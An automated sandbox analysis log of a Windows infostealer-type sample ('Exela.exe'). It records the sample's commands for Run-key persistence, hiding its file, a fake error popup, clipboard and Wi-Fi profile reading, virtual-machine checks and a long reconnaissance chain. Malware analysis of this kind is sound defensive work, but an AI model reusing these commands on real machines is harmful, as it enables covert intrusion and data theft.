Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A740C4	81_2_00007FF6E3A740C4
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A690C0	81_2_00007FF6E3A690C0
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7F110	81_2_00007FF6E3A7F110
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A81518	81_2_00007FF6E3A81518
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A72064	81_2_00007FF6E3A72064
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A84860	81_2_00007FF6E3A84860
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A72884	81_2_00007FF6E3A72884
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A71E60	81_2_00007FF6E3A71E60
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A72680	81_2_00007FF6E3A72680
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A8A5D8	81_2_00007FF6E3A8A5D8
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7E5FC	81_2_00007FF6E3A7E5FC
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A7842C	81_2_00007FF6E3A7842C
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: 81_2_00007FF6E3A6A55D	81_2_00007FF6E3A6A55D

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI67602\VCRUNTIME140.dll D66C3B47091CEB3F8D3CC165A43D285AE919211A0C0FCB74491EE574D8D464F8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\_MEI67602\_asyncio.pyd FA5A1E7031DE5849AB2AB5A177E366B41E1DF6BBD90C8D2418033A01C740771F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Code function: String function: 00007FF72AA72B10 appears 47 times
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Code function: String function: 00007FF6E3A62B10 appears 47 times

Source: _overlapped.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.81.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.81.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.0.dr	Static PE information: No import functions for PE file found
Source: python3.dll.81.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
Source: python311.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9993579269724483
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9976298969897524
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9937485999103942
Source: libcrypto-1_1.dll.81.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
Source: libssl-1_1.dll.81.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
Source: python311.dll.81.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9993579269724483
Source: sqlite3.dll.81.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9976298969897524
Source: unicodedata.pyd.81.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9937485999103942

Source: classification engine

Classification label: mal100.rans.spre.phis.troj.spyw.evad.winEXE@145/213@4/6

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA78560 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF72AA78560

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

File created: C:\Users\user\AppData\Local\ExelaUpdateService\

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6964:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Mutant created: \Sessions\1\BaseNamedObjects\E
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7064:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2004:120:WilError_03

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI67602

Jump to behavior

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1732846914.000002DCCFFEC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: unknown	Process created: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
